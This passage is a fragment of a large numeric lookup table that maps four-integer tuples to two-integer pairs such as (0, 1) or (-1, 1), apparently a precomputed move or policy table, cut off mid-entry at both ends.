1), (9, 6, 3, -5): (0, 1), (9, 6, 3, -4): (0, 1), (9, 6, 3, -3): (0, 1), (9, 6, 3, -2): (0, 1), (9, 6, 3, -1): (0, 1), (9, 6, 3, 0): (0, 1), (9, 6, 3, 1): (0, 1), (9, 6, 3, 2): (0, 1), (9, 6, 3, 3): (0, 1), (9, 6, 3, 4): (0, 1), (9, 6, 3, 5): (0, 1), (9, 6, 4, -5): (0, 1), (9, 6, 4, -4): (0, 1), (9, 6, 4, -3): (0, 1), (9, 6, 4, -2): (0, 1), (9, 6, 4, -1): (0, 1), (9, 6, 4, 0): (0, 1), (9, 6, 4, 1): (0, 1), (9, 6, 4, 2): (0, 1), (9, 6, 4, 3): (0, 1), (9, 6, 4, 4): (0, 1), (9, 6, 4, 5): (0, 1), (9, 6, 5, -5): (0, 1), (9, 6, 5, -4): (0, 1), (9, 6, 5, -3): (0, 1), (9, 6, 5, -2): (0, 1), (9, 6, 5, -1): (0, 1), (9, 6, 5, 0): (0, 1), (9, 6, 5, 1): (0, 1), (9, 6, 5, 2): (0, 1), (9, 6, 5, 3): (0, 1), (9, 6, 5, 4): (0, 1), (9, 6, 5, 5): (0, 1), (9, 7, -5, -5): (0, 1), (9, 7, -5, -4): (0, 1), (9, 7, -5, -3): (0, 1), (9, 7, -5, -2): (0, 1), (9, 7, -5, -1): (0, 1), (9, 7, -5, 0): (0, 1), (9, 7, -5, 1): (0, 1), (9, 7, -5, 2): (0, 1), (9, 7, -5, 3): (0, 1), (9, 7, -5, 4): (0, 1), (9, 7, -5, 5): (0, 1), (9, 7, -4, -5): (0, 1), (9, 7, -4, -4): (0, 1), (9, 7, -4, -3): (0, 1), (9, 7, -4, -2): (0, 1), (9, 7, -4, -1): (0, 1), (9, 7, -4, 0): (0, 1), (9, 7, -4, 1): (0, 1), (9, 7, -4, 2): (0, 1), (9, 7, -4, 3): (0, 1), (9, 7, -4, 4): (1, 1), (9, 7, -4, 5): (1, 0), (9, 7, -3, -5): (-1, 1), (9, 7, -3, -4): (-1, 1), (9, 7, -3, -3): (-1, 1), (9, 7, -3, -2): (-1, 1), (9, 7, -3, -1): (-1, 1), (9, 7, -3, 0): (1, 1), (9, 7, -3, 1): (1, 1), (9, 7, -3, 2): (1, 1), (9, 7, -3, 3): (1, 1), (9, 7, -3, 4): (1, 1), (9, 7, -3, 5): (1, 0), (9, 7, -2, -5): (-1, 1), (9, 7, -2, -4): (-1, 0), (9, 7, -2, -3): (0, 1), (9, 7, -2, -2): (0, 1), (9, 7, -2, -1): (1, 1), (9, 7, -2, 0): (1, 1), (9, 7, -2, 1): (1, 1), (9, 7, -2, 2): (1, 1), (9, 7, -2, 3): (1, 1), (9, 7, -2, 4): (1, 1), (9, 7, -2, 5): (1, 0), (9, 7, -1, -5): (-1, 1), (9, 7, -1, -4): (-1, 1), (9, 7, -1, -3): (-1, 1), (9, 7, -1, -2): (-1, 1), (9, 7, -1, -1): (1, 1), (9, 7, -1, 0): (1, 1), (9, 7, -1, 1): (1, 1), (9, 7, -1, 2): (1, 1), (9, 7, -1, 3): (1, 1), (9, 7, -1, 4): (1, 1), (9, 7, -1, 5): (1, 0), (9, 7, 0, -5): (1, 1), (9, 7, 0, -4): (1, 1), (9, 7, 0, -3): (1, 1), (9, 7, 0, -2): (1, 1), (9, 7, 0, -1): (0, 1), (9, 7, 0, 0): (0, 1), (9, 7, 0, 1): (0, 1), (9, 7, 0, 2): (0, 1), (9, 7, 0, 3): (0, 1), (9, 7, 0, 4): (0, 1), (9, 7, 0, 5): (0, 1), (9, 7, 1, -5): (0, 1), (9, 7, 1, -4): (0, 1), (9, 7, 1, -3): (0, 1), (9, 7, 1, -2): (0, 1), (9, 7, 1, -1): (0, 1), (9, 7, 1, 0): (-1, 1), (9, 7, 1, 1): (-1, 1), (9, 7, 1, 2): (-1, 1), (9, 7, 1, 3): (-1, 1), (9, 7, 1, 4): (-1, 1), (9, 7, 1, 5): (-1, 1), (9, 7, 2, -5): (0, 1), (9, 7, 2, -4): (0, 1), (9, 7, 2, -3): (0, 1), (9, 7, 2, -2): (0, 1), (9, 7, 2, -1): (0, 1), (9, 7, 2, 0): (0, 1), (9, 7, 2, 1): (0, 1), (9, 7, 2, 2): (0, 1), (9, 7, 2, 3): (0, 1), (9, 7, 2, 4): (0, 1), (9, 7, 2, 5): (0, 1), (9, 7, 3, -5): (0, 1), (9, 7, 3, -4): (0, 1), (9, 7, 3, -3): (0, 1), (9, 7, 3, -2): (0, 1), (9, 7, 3, -1): (0, 1), (9, 7, 3, 0): (0, 1), (9, 7, 3, 1): (0, 1), (9, 7, 3, 2): (0, 1), (9, 7, 3, 3): (0, 1), (9, 7, 3, 4): (0, 1), (9, 7, 3, 5): (0, 1), (9, 7, 4, -5): (0, 1), (9, 7, 4, -4): (0, 1), (9, 7, 4, -3): (0, 1), (9, 7, 4, -2): (0, 1), (9, 7, 4, -1): (0, 1), (9, 7, 4, 0): (0, 1), (9, 7, 4, 1): (0, 1), (9, 7, 4, 2): (0, 1), (9, 7, 4, 3): (0, 1), (9, 7, 4, 4): (0, 1), (9, 7, 4, 5): (0, 1), (9, 7, 5, -5): (0, 1), (9, 7, 5, -4): (0, 1), (9, 7, 5, -3): (0, 1), (9, 7, 5, -2): (0, 1), (9, 7, 5, -1): (0, 1), (9, 7, 5, 0): (0, 1), (9, 7, 5, 1): (0, 1), (9, 7, 5, 2): (0, 1), (9, 7, 5, 3): (0, 1), (9, 7, 5, 4): (0, 1), (9, 7, 5, 5): (0, 1), (9, 8, -5, -5): (0, 1), (9, 8, -5, -4): (0, 1), (9, 8, -5, -3): (0, 1), (9, 8, -5, -2): (0, 1), (9, 8, -5, -1): (0, 1), (9, 8, -5, 0): (0, 1), (9, 8, -5, 1): (0, 1), (9, 8, -5, 2): (0, 1), (9, 8, -5, 3): (0, 1), (9, 8, -5, 4): (0, 1), (9, 8, -5, 5): (0, 1), (9, 8, -4, -5): (0, 1), (9, 8, -4, -4): (0, 1), (9, 8, -4, -3): (0, 1), (9, 8, -4, -2): (0, 1), (9, 8, -4, -1): (0, 1), (9, 8, -4, 0): (0, 1), (9, 8, -4, 1): (0, 1), (9, 8, -4, 2): (0, 1), (9, 8, -4, 3): (1, 1), (9, 8, -4, 4): (1, 1), (9, 8, -4, 5): (1, 0), (9, 8, -3, -5): (-1, 1), (9, 8, -3, -4): (-1, 1), (9, 8, -3, -3): (-1, 1), (9, 8, -3, -2): (-1, 1), (9, 8, -3, -1): (-1, 1), (9, 8, -3, 0): (1, 1), (9, 8, -3, 1): (1, 1), (9, 8, -3, 2): (1, 1), (9, 8, -3, 3): (1, 1), (9, 8, -3, 4): (1, 1), (9, 8, -3, 5): (1, 0), (9, 8, -2, -5): (-1, 1), (9, 8, -2, -4): (-1, 0), (9, 8, -2, -3): (0, 1), (9, 8, -2, -2): (0, 1), (9, 8, -2, -1): (1, 1), (9, 8, -2, 0): (1, 1), (9, 8, -2, 1): (1, 1), (9, 8, -2, 2): (1, 1), (9, 8, -2, 3): (1, 1), (9, 8, -2, 4): (1, 1), (9, 8, -2, 5): (1, 0), (9, 8, -1, -5): (-1, 1), (9, 8, -1, -4): (-1, 1), (9, 8, -1, -3): (-1, 1), (9, 8, -1, -2): (-1, 1), (9, 8, -1, -1): (1, 1), (9, 8, -1, 0): (1, 1), (9, 8, -1, 1): (1, 1), (9, 8, -1, 2): (1, 1), (9, 8, -1, 3): (1, 1), (9, 8, -1, 4): (1, 1), (9, 8, -1, 5): (1, 0), (9, 8, 0, -5): (1, 1), (9, 8, 0, -4): (1, 1), (9, 8, 0, -3): (1, 1), (9, 8, 0, -2): (1, 1), (9, 8, 0, -1): (0, 1), (9, 8, 0, 0): (0, 1), (9, 8, 0, 1): (0, 1), (9, 8, 0, 2): (0, 1), (9, 8, 0, 3): (0, 1), (9, 8, 0, 4): (0, 1), (9, 8, 0, 5): (0, 1), (9, 8, 1, -5): (0, 1), (9, 8, 1, -4): (0, 1), (9, 8, 1, -3): (0, 1), (9, 8, 1, -2): (0, 1), (9, 8, 1, -1): (0, 1), (9, 8, 1, 0): (-1, 1), (9, 8, 1, 1): (-1, 1), (9, 8, 1, 2): (-1, 1), (9, 8, 1, 3): (-1, 1), (9, 8, 1, 4): (-1, 1), (9, 8, 1, 5): (-1, 1), (9, 8, 2, -5): (0, 1), (9, 8, 2, -4): (0, 1), (9, 8, 2, -3): (0, 1), (9, 8, 2, -2): (0, 1), (9, 8, 2, -1): (0, 1), (9, 8, 2, 0): (0, 1), (9, 8, 2, 1): (0, 1), (9, 8, 2, 2): (0, 1), (9, 8, 2, 3): (0, 1), (9, 8, 2, 4): (0, 1), (9, 8, 2, 5): (0, 1), (9, 8, 3, -5): (0, 1), (9, 8, 3, -4): (0, 1), (9, 8, 3, -3): (0, 1), (9, 8, 3, -2): (0, 1), (9, 8, 3, -1): (0, 1), (9, 8, 3, 0): (0, 1), (9, 8, 3, 1): (0, 1), (9, 8, 3, 2): (0, 1), (9, 8, 3, 3): (0, 1), (9, 8, 3, 4): (0, 1), (9, 8, 3, 5): (0, 1), (9, 8, 4, -5): (0, 1), (9, 8, 4, -4): (0, 1), (9, 8, 4, -3): (0, 1), (9, 8, 4, -2): (0, 1), (9, 8, 4, -1): (0, 1), (9, 8, 4, 0): (0, 1), (9, 8, 4, 1): (0, 1), (9, 8, 4, 2): (0, 1), (9, 8, 4, 3): (0, 1), (9, 8, 4, 4): (0, 1), (9, 8, 4, 5): (0, 1), (9, 8, 5, -5): (0, 1), (9, 8, 5, -4): (0, 1), (9, 8, 5, -3): (0, 1), (9, 8, 5, -2): (0, 1), (9, 8, 5, -1): (0, 1), (9, 8, 5, 0): (0, 1), (9, 8, 5, 1): (0, 1), (9, 8, 5, 2): (0, 1), (9, 8, 5, 3): (0, 1), (9, 8, 5, 4): (0, 1), (9, 8, 5, 5): (0, 1), (9, 9, -5, -5): (0, 1), (9, 9, -5, -4): (0, 1), (9, 9, -5, -3): (0, 1), (9, 9, -5, -2): (0, 1), (9, 9, -5, -1): (0, 1), (9, 9, -5, 0): (0, 1), (9, 9, -5, 1): (0, 1), (9, 9, -5, 2): (0, 1), (9, 9, -5, 3): (0, 1), (9, 9, -5, 4): (0, 1), (9, 9, -5, 5): (0, 1), (9, 9, -4, -5): (0, 1), (9, 9, -4, -4): (0, 1), (9, 9, -4, -3): (0, 1), (9, 9, -4, -2): (0, 1), (9, 9, -4, -1): (0, 1), (9, 9, -4, 0): (0, 1), (9, 9, -4, 1): (0, 1), (9, 9, -4, 2): (0, 1), (9, 9, -4, 3): (1, 1), (9, 9, -4, 4): (1, 1), (9, 9, -4, 5): (1, 0), (9, 9, -3, -5): (-1, 1), (9, 9, -3, -4): (-1, 1), (9, 9, -3, -3): (-1, 1), (9, 9, -3, -2): (-1, 1), (9, 9, -3, -1): (-1, 1), (9, 9, -3, 0): (1, 1), (9, 9, -3, 1): (1, 1), (9, 9, -3, 2): (1, 1), (9, 9, -3, 3): (1, 1), (9, 9, -3, 4): (1, 1), (9, 9, -3, 5): (1, 0), (9, 9, -2, -5): (-1, 0), (9, 9, -2, -4): (0, 1), (9, 9, -2, -3): (0, 1), (9, 9, -2, -2): (0, 1), (9, 9, -2, -1): (1, 1), (9, 9, -2, 0): (1, 1), (9, 9, -2, 1): (1, 1), (9, 9, -2, 2): (1, 1), (9, 9, -2, 3): (1, 1), (9, 9, -2, 4): (1, 1), (9, 9, -2, 5): (1, 0), (9, 9, -1, -5): (-1, 1), (9, 9, -1, -4): (-1, 1), (9, 9, -1, -3): (-1, 1), (9, 9, -1, -2): (-1, 1), (9, 9, -1, -1): (1, 1), (9, 9, -1, 0): (1, 1), (9, 9, -1, 1): (1, 1), (9, 9, -1, 2): (1, 1), (9, 9, -1, 3): (1, 1), (9, 9, -1, 4): (1, 1), (9, 9, -1, 5): (1, 0), (9, 9, 0, -5): (1, 1), (9, 9, 0, -4): (1, 1), (9, 9, 0, -3): (1, 1), (9, 9, 0, -2): (1, 1), (9, 9, 0, -1): (0, 1), (9, 9, 0, 0): (0, 1), (9, 9, 0, 1): (0, 1), (9, 9, 0, 2): (0, 1), (9, 9, 0, 3): (0, 1), (9, 9, 0, 4): (0, 1), (9, 9, 0, 5): (0, 1), (9, 9, 1, -5): (0, 1), (9, 9, 1, -4): (0, 1), (9, 9, 1, -3): (0, 1), (9, 9, 1, -2): (0, 1), (9, 9, 1, -1): (0, 1), (9, 9, 1, 0): (-1, 1), (9, 9, 1, 1): (-1, 1), (9, 9, 1, 2): (-1, 1), (9, 9, 1, 3): (-1, 1), (9, 9, 1, 4): (-1, 1), (9, 9, 1, 5): (-1, 1), (9, 9, 2, -5): (0, 1), (9, 9, 2, -4): (0, 1), (9, 9, 2, -3): (0, 1), (9, 9, 2, -2): (0, 1), (9, 9, 2, -1): (0, 1), (9, 9, 2, 0): (0, 1), (9, 9, 2, 1): (0, 1), (9, 9, 2, 2): (0, 1), (9, 9, 2, 3): (0, 1), (9, 9, 2, 4): (0, 1), (9, 9, 2, 5): (0, 1), (9, 9, 3, -5): (0, 1), (9, 9, 3, -4): (0, 1), (9, 9, 3, -3): (0, 1), (9, 9, 3, -2): (0, 1), (9, 9, 3, -1): (0, 1), (9, 9, 3, 0): (0, 1), (9, 9, 3, 1): (0, 1), (9, 9, 3, 2): (0, 1), (9, 9, 3, 3): (0, 1), (9, 9, 3, 4): (0, 1), (9, 9, 3, 5): (0, 1), (9, 9, 4, -5): (0, 1), (9, 9, 4, -4): (0, 1), (9, 9, 4, -3): (0, 1), (9, 9, 4, -2): (0, 1), (9, 9, 4, -1): (0, 1), (9, 9, 4, 0): (0, 1), (9, 9, 4, 1): (0, 1), (9, 9, 4, 2): (0, 1), (9, 9, 4, 3): (0, 1), (9, 9, 4, 4): (0, 1), (9, 9, 4, 5): (0, 1), (9, 9, 5, -5): (0, 1), (9, 9, 5, -4): (0, 1), (9, 9, 5, -3): (0, 1), (9, 9, 5, -2): (0, 1), (9, 9, 5, -1): (0, 1), (9, 9, 5, 0): (0, 1), (9, 9, 5, 1): (0, 1), (9, 9, 5, 2): (0, 1), (9, 9, 5, 3): (0, 1), (9, 9, 5, 4): (0, 1), (9, 9, 5, 5): (0, 1), (9, 10, -5, -5): (0, 1), (9, 10, -5, -4): (0, 1), (9, 10, -5, -3): (0, 1), (9, 10, -5, -2): (0, 1), (9, 10, -5, -1): (0, 1), (9, 10, -5, 0): (0, 1), (9, 10, -5, 1): (0, 1), (9, 10, -5, 2): (0, 1), (9, 10, -5, 3): (0, 1), (9, 10, -5, 4): (0, 1), (9, 10, -5, 5): (0, 1), (9, 10, -4, -5): (0, 1), (9, 10, -4, -4): (0, 1), (9, 10, -4, -3): (0, 1), (9, 10, -4, -2): (0, 1), (9, 10, -4, -1): (0, 1), (9, 10, -4, 0): (0, 1), (9, 10, -4, 1): (0, 1), (9, 10, -4, 2): (0, 1), (9, 10, -4, 3): (1, 1), (9, 10, -4, 4): (1, 1), (9, 10, -4, 5): (1, 0), (9, 10, -3, -5): (-1, 1), (9, 10, -3, -4): (-1, 1), (9, 10, -3, -3): (-1, 1), (9, 10, -3, -2): (-1, 1), (9, 10, -3, -1): (-1, 1), (9, 10, -3, 0): (1, 1), (9, 10, -3, 1): (1, 1), (9, 10, -3, 2): (1, 1), (9, 10, -3, 3): (1, 1), (9, 10, -3, 4): (1, 1), (9, 10, -3, 5): (1, 0), (9, 10, -2, -5): (-1, 0), (9, 10, -2, -4): (0, 1), (9, 10, -2, -3): (0, 1), (9, 10, -2, -2): (0, 1), (9, 10, -2, -1): (1, 1), (9, 10, -2, 0): (1, 1), (9, 10, -2, 1): (1, 1), (9, 10, -2, 2): (1, 1), (9, 10, -2, 3): (1, 1), (9, 10, -2, 4): (1, 1), (9, 10, -2, 5): (1, 0), (9, 10, -1, -5): (-1, 1), (9, 10, -1, -4): (-1, 1), (9, 10, -1, -3): (-1, 1), (9, 10, -1, -2): (-1, 1), (9, 10, -1, -1): (1, 1), (9, 10, -1, 0): (1, 1), (9, 10, -1, 1): (1, 1), (9, 10, -1, 2): (1, 1), (9, 10, -1, 3): (1, 1), (9, 10, -1, 4): (1, 1), (9, 10, -1, 5): (1, 0), (9, 10, 0, -5): (1, 1), (9, 10, 0, -4): (1, 1), (9, 10, 0, -3): (1, 1), (9, 10, 0, -2): (1, 1), (9, 10, 0, -1): (0, 1), (9, 10, 0, 0): (0, 1), (9, 10, 0, 1): (0, 1), (9, 10, 0, 2): (0, 1), (9, 10, 0, 3): (0, 1), (9, 10, 0, 4): (0, 1), (9, 10, 0, 5): (0, 1), (9, 10, 1, -5): (0, 1), (9, 10, 1, -4): (0, 1), (9, 10, 1, -3): (0, 1), (9, 10, 1, -2): (0, 1), (9, 10, 1, -1): (0, 1), (9, 10, 1, 0): (-1, 1), (9, 10, 1, 1): (-1, 1), (9, 10, 1, 2): (-1, 1), (9, 10, 1, 3): (-1, 1), (9, 10, 1, 4): (-1, 1), (9, 10, 1, 5): (-1, 1), (9, 10, 2, -5): (0, 1), (9, 10, 2, -4): (0, 1), (9, 10, 2, -3): (0, 1), (9, 10, 2, -2): (0, 1), (9, 10, 2, -1): (0, 1), (9, 10, 2, 0): (0, 1), (9, 10, 2, 1): (0, 1), (9, 10, 2, 2): (0, 1), (9, 10, 2, 3): (0, 1), (9, 10, 2, 4): (0, 1), (9, 10, 2, 5): (0, 1), (9, 10, 3, -5): (0, 1), (9, 10, 3, -4): (0, 1), (9, 10, 3, -3): (0, 1), (9, 10, 3, -2): (0, 1), (9, 10, 3, -1): (0, 1), (9, 10, 3, 0): (0, 1), (9, 10, 3, 1): (0, 1), (9, 10, 3, 2): (0, 1), (9, 10, 3, 3): (0, 1), (9, 10, 3, 4): (0, 1), (9, 10, 3, 5): (0, 1), (9, 10, 4, -5): (0, 1), (9, 10, 4, -4): (0, 1), (9, 10, 4, -3): (0, 1), (9, 10, 4, -2): (0, 1), (9, 10, 4, -1): (0, 1), (9, 10, 4, 0): (0, 1), (9, 10, 4, 1): (0, 1), (9, 10, 4, 2): (0, 1), (9, 10, 4, 3): (0, 1), (9, 10, 4, 4): (0, 1), (9, 10, 4, 5): (0, 1), (9, 10, 5, -5): (0, 1), (9, 10, 5, -4): (0, 1), (9, 10, 5, -3): (0, 1), (9, 10, 5, -2): (0, 1), (9, 10, 5, -1): (0, 1), (9, 10, 5, 0): (0, 1), (9, 10, 5, 1): (0, 1), (9, 10, 5, 2): (0, 1), (9, 10, 5, 3): (0, 1), (9, 10, 5, 4): (0, 1), (9, 10, 5, 5): (0, 1), (9, 11, -5, -5): (0, 1), (9, 11, -5, -4): (0, 1), (9, 11, -5, -3): (0, 1), (9, 11, -5, -2): (0, 1), (9, 11, -5, -1): (0, 1), (9, 11, -5, 0): (0, 1), (9, 11, -5, 1): (0, 1), (9, 11, -5, 2): (0, 1), (9, 11, -5, 3): (0, 1), (9, 11, -5, 4): (0, 1), (9, 11, -5, 5): (0, 1), (9, 11, -4, -5): (0, 1), (9, 11, -4, -4): (0, 1), (9, 11, -4, -3): (0, 1), (9, 11, -4, -2): (0, 1), (9, 11, -4, -1): (0, 1), (9, 11, -4, 0): (0, 1), (9, 11, -4, 1): (0, 1), (9, 11, -4, 2): (0, 1), (9, 11, -4, 3): (1, 1), (9, 11, -4, 4): (1, 1), (9, 11, -4, 5): (1, 0), (9, 11, -3, -5): (-1, 1), (9, 11, -3, -4): (-1, 1), (9, 11, -3, -3): (-1, 1), (9, 11, -3, -2): (-1, 1), (9, 11, -3, -1): (-1, 1), (9, 11, -3, 0): (1, 1), (9, 11, -3, 1): (1, 1), (9, 11, -3, 2): (1, 1), (9, 11, -3, 3): (1, 1), (9, 11, -3, 4): (1, 1), (9, 11, -3, 5): (1, 0), (9, 11, -2, -5): (0, 1), (9, 11, -2, -4): (0, 1), (9, 11, -2, -3): (0, 1), (9, 11, -2, -2): (0, 1), (9, 11, -2, -1): (1, 1), (9, 11, -2, 0): (1, 1), (9, 11, -2, 1): (1, 1), (9, 11, -2, 2): (1, 1), (9, 11, -2, 3): (1, 1), (9, 11, -2, 4): (1, 1), (9, 11, -2, 5): (1, 0), (9, 11, -1, -5): (-1, 1), (9, 11, -1, -4): (-1, 1), (9, 11, -1, -3): (-1, 1), (9, 11, -1, -2): (-1, 1), (9, 11, -1, -1): (1, 1), (9, 11, -1, 0): (1, 1), (9, 11, -1, 1): (1, 1), (9, 11, -1, 2): (1, 1), (9, 11, -1, 3): (1, 1), (9, 11, -1, 4): (1, 1), (9, 11, -1, 5): (1, 0), (9, 11, 0, -5): (1, 1), (9, 11, 0, -4): (1, 1), (9, 11, 0, -3): (1, 1), (9, 11, 0, -2): (1, 1), (9, 11, 0, -1): (0, 1), (9, 11, 0, 0): (0, 1), (9, 11, 0, 1): (0, 1), (9, 11, 0, 2): (0, 1), (9, 11, 0, 3): (0, 1), (9, 11, 0, 4): (0, 1), (9, 11, 0, 5): (0, 1), (9, 11, 1, -5): (0, 1), (9, 11, 1, -4): (0, 1), (9, 11, 1, -3): (0, 1), (9, 11, 1, -2): (0, 1), (9, 11, 1, -1): (0, 1), (9, 11, 1, 0): (-1, 1), (9, 11, 1, 1): (-1, 1), (9, 11, 1, 2): (-1, 1), (9, 11, 1, 3): (-1, 1), (9, 11, 1, 4): (-1, 1), (9, 11, 1, 5): (-1, 1), (9, 11, 2, -5): (0, 1), (9, 11, 2, -4): (0, 1), (9, 11, 2, -3): (0, 1), (9, 11, 2, -2): (0, 1), (9, 11, 2, -1): (0, 1), (9, 11, 2, 0): (0, 1), (9, 11, 2, 1): (0, 1), (9, 11, 2, 2): (0, 1), (9, 11, 2, 3): (0, 1), (9, 11, 2, 4): (0, 1), (9, 11, 2, 5): (0, 1), (9, 11, 3, -5): (0, 1), (9, 11, 3, -4): (0, 1), (9, 11, 3, -3): (0, 1), (9, 11, 3, -2): (0, 1), (9, 11, 3, -1): (0, 1), (9, 11, 3, 0): (0, 1), (9, 11, 3, 1): (0, 1), (9, 11, 3, 2): (0, 1), (9, 11, 3, 3): (0, 1), (9, 11, 3, 4): (0, 1), (9, 11, 3, 5): (0, 1), (9, 11, 4, -5): (0, 1), (9, 11, 4, -4): (0, 1), (9, 11, 4, -3): (0, 1), (9, 11, 4, -2): (0, 1), (9, 11, 4, -1): (0, 1), (9, 11, 4, 0): (0, 1), (9, 11, 4, 1): (0, 1), (9, 11, 4, 2): (0, 1), (9, 11, 4, 3): (0, 1), (9, 11, 4, 4): (0, 1), (9, 11, 4, 5): (0, 1), (9, 11, 5, -5): (0, 1), (9, 11, 5, -4): (0, 1), (9, 11, 5, -3): (0, 1), (9, 11, 5, -2): (0, 1), (9, 11, 5, -1): (0, 1), (9, 11, 5, 0): (0, 1), (9, 11, 5, 1): (0, 1), (9, 11, 5, 2): (0, 1), (9, 11, 5, 3): (0, 1), (9, 11, 5, 4): (0, 1), (9, 11, 5, 5): (0, 1), (9, 12, -5, -5): (0, 1), (9, 12, -5, -4): (0, 1), (9, 12, -5, -3): (0, 1), (9, 12, -5, -2): (0, 1), (9, 12, -5, -1): (0, 1), (9, 12, -5, 0): (0, 1), (9, 12, -5, 1): (0, 1), (9, 12, -5, 2): (0, 1), (9, 12, -5, 3): (0, 1), (9, 12, -5, 4): (0, 1), (9, 12, -5, 5): (0, 1), (9, 12, -4, -5): (0, 1), (9, 12, -4, -4): (0, 1), (9, 12, -4, -3): (0, 1), (9, 12, -4, -2): (0, 1), (9, 12, -4, -1): (0, 1), (9, 12, -4, 0): (0, 1), (9, 12, -4, 1): (0, 1), (9, 12, -4, 2): (0, 1), (9, 12, -4, 3): (1, 1), (9, 12, -4, 4): (1, 1), (9, 12, -4, 5): (1, 0), (9, 12, -3, -5): (-1, 1), (9, 12, -3, -4): (-1, 1), (9, 12, -3, -3): (-1, 1), (9, 12, -3, -2): (-1, 1), (9, 12, -3, -1): (-1, 1), (9, 12, -3, 0): (-1, 1), (9, 12, -3, 1): (1, 1), (9, 12, -3, 2): (1, 1), (9, 12, -3, 3): (1, 1), (9, 12, -3, 4): (1, 1), (9, 12, -3, 5): (1, 0), (9, 12, -2, -5): (0, 1), (9, 12, -2, -4): (0, 1), (9, 12, -2, -3): (0, 1), (9, 12, -2, -2): (0, 1), (9, 12, -2, -1): (1, 1), (9, 12, -2, 0): (1, 1), (9, 12, -2, 1): (1, 1), (9, 12, -2, 2): (1, 1), (9, 12, -2, 3): (1, 1), (9, 12, -2, 4): (1, 1), (9, 12, -2, 5): (1, 0), (9, 12, -1, -5): (-1, 1), (9, 12, -1, -4): (-1, 1), (9, 12, -1, -3): (-1, 1), (9, 12, -1, -2): (-1, 1), (9, 12, -1, -1): (1, 1), (9, 12, -1, 0): (1, 1), (9, 12, -1, 1): (1, 1), (9, 12, -1, 2): (1, 1), (9, 12, -1, 3): (1, 1), (9, 12, -1, 4): (1, 1), (9, 12, -1, 5): (1, 0), (9, 12, 0, -5): (1, 1), (9, 12, 0, -4): (1, 1), (9, 12, 0, -3): (1, 1), (9, 12, 0, -2): (1, 1), (9, 12, 0, -1): (0, 1), (9, 12, 0, 0): (0, 1), (9, 12, 0, 1): (0, 1), (9, 12, 0, 2): (0, 1), (9, 12, 0, 3): (0, 1), (9, 12, 0, 4): (0, 1), (9, 12, 0, 5): (0, 1), (9, 12, 1, -5): (0, 1), (9, 12, 1, -4): (0, 1), (9, 12, 1, -3): (0, 1), (9, 12, 1, -2): (0, 1), (9, 12, 1, -1): (0, 1), (9, 12, 1, 0): (-1, 1), (9, 12, 1, 1): (-1, 1), (9, 12, 1, 2): (-1, 1), (9, 12, 1, 3): (-1, 1), (9, 12, 1, 4): (-1, 1), (9, 12, 1, 5): (-1, 1), (9, 12, 2, -5): (0, 1), (9, 12, 2, -4): (0, 1), (9, 12, 2, -3): (0, 1), (9, 12, 2, -2): (0, 1), (9, 12, 2, -1): (0, 1), (9, 12, 2, 0): (0, 1), (9, 12, 2, 1): (0, 1), (9, 12, 2, 2): (0, 1), (9, 12, 2, 3): (0, 1), (9, 12, 2, 4): (0, 1), (9, 12, 2, 5): (0, 1), (9, 12, 3, -5): (0, 1), (9, 12, 3, -4): (0, 1), (9, 12, 3, -3): (0, 1), (9, 12, 3, -2): (0, 1), (9, 12, 3, -1): (0, 1), (9, 12, 3, 0): (0, 1), (9, 12, 3, 1): (0, 1), (9, 12, 3, 2): (0, 1), (9, 12, 3, 3): (0, 1), (9, 12, 3, 4): (0, 1), (9, 12, 3, 5): (0, 1), (9, 12, 4, -5): (0, 1), (9, 12, 4, -4): (0, 1), (9, 12, 4, -3): (0, 1), (9, 12, 4, -2): (0, 1), (9, 12, 4, -1): (0, 1), (9, 12, 4, 0): (0, 1), (9, 12, 4, 1): (0, 1), (9, 12, 4, 2): (0, 1), (9, 12, 4, 3): (0, 1), (9, 12, 4, 4): (0, 1), (9, 12, 4, 5): (0, 1), (9, 12, 5, -5): (0, 1), (9, 12, 5, -4): (0, 1), (9, 12, 5, -3): (0, 1), (9, 12, 5, -2): (0, 1), (9, 12, 5, -1): (0, 1), (9, 12, 5, 0): (0, 1), (9, 12, 5, 1): (0, 1), (9, 12, 5, 2): (0, 1), (9, 12, 5, 3): (0, 1), (9, 12, 5, 4): (0, 1), (9, 12, 5, 5): (0, 1), (9, 13, -5, -5): (0, 1), (9, 13, -5, -4): (0, 1), (9, 13, -5, -3): (0, 1), (9, 13, -5, -2): (0, 1), (9, 13, -5, -1): (0, 1), (9, 13, -5, 0): (0, 1), (9, 13, -5, 1): (0, 1), (9, 13, -5, 2): (0, 1), (9, 13, -5, 3): (0, 1), (9, 13, -5, 4): (0, 1), (9, 13, -5, 5): (0, 1), (9, 13, -4, -5): (0, 1), (9, 13, -4, -4): (0, 1), (9, 13, -4, -3): (0, 1), (9, 13, -4, -2): (0, 1), (9, 13, -4, -1): (0, 1), (9, 13, -4, 0): (0, 1), (9, 13, -4, 1): (0, 1), (9, 13, -4, 2): (0, 1), (9, 13, -4, 3): (1, 1), (9, 13, -4, 4): (1, 1), (9, 13, -4, 5): (1, 0), (9, 13, -3, -5): (-1, 1), (9, 13, -3, -4): (-1, 1), (9, 13, -3, -3): (-1, 1), (9, 13, -3, -2): (-1, 1), (9, 13, -3, -1): (-1, 1), (9, 13, -3, 0): (-1, 1), (9, 13, -3, 1): (1, 1), (9, 13, -3, 2): (1, 1), (9, 13, -3, 3): (1, 1), (9, 13, -3, 4): (1, 1), (9, 13, -3, 5): (1, 0), (9, 13, -2, -5): (0, 1), (9, 13, -2, -4): (0, 1), (9, 13, -2, -3): (0, 1), (9, 13, -2, -2): (0, 1), (9, 13, -2, -1): (1, 1), (9, 13, -2, 0): (1, 1), (9, 13, -2, 1): (1, 1), (9, 13, -2, 2): (1, 1), (9, 13, -2, 3): (1, 1), (9, 13, -2, 4): (1, 1), (9, 13, -2, 5): (1, 0), (9, 13, -1, -5): (-1, 1), (9, 13, -1, -4): (-1, 1), (9, 13, -1, -3): (-1, 1), (9, 13, -1, -2): (-1, 1), (9, 13, -1, -1): (1, 1), (9, 13, -1, 0): (1, 1), (9, 13, -1, 1): (1, 1), (9, 13, -1, 2): (1, 1), (9, 13, -1, 3): (1, 1), (9, 13, -1, 4): (0, 1), (9, 13, -1, 5): (0, 1), (9, 13, 0, -5): (1, 1), (9, 13, 0, -4): (1, 1), (9, 13, 0, -3): (1, 1), (9, 13, 0, -2): (1, 1), (9, 13, 0, -1): (0, 1), (9, 13, 0, 0): (0, 1), (9, 13, 0, 1): (0, 1), (9, 13, 0, 2): (0, 1), (9, 13, 0, 3): (0, 1), (9, 13, 0, 4): (-1, 1), (9, 13, 0, 5): (-1, 1), (9, 13, 1, -5): (0, 1), (9, 13, 1, -4): (0, 1), 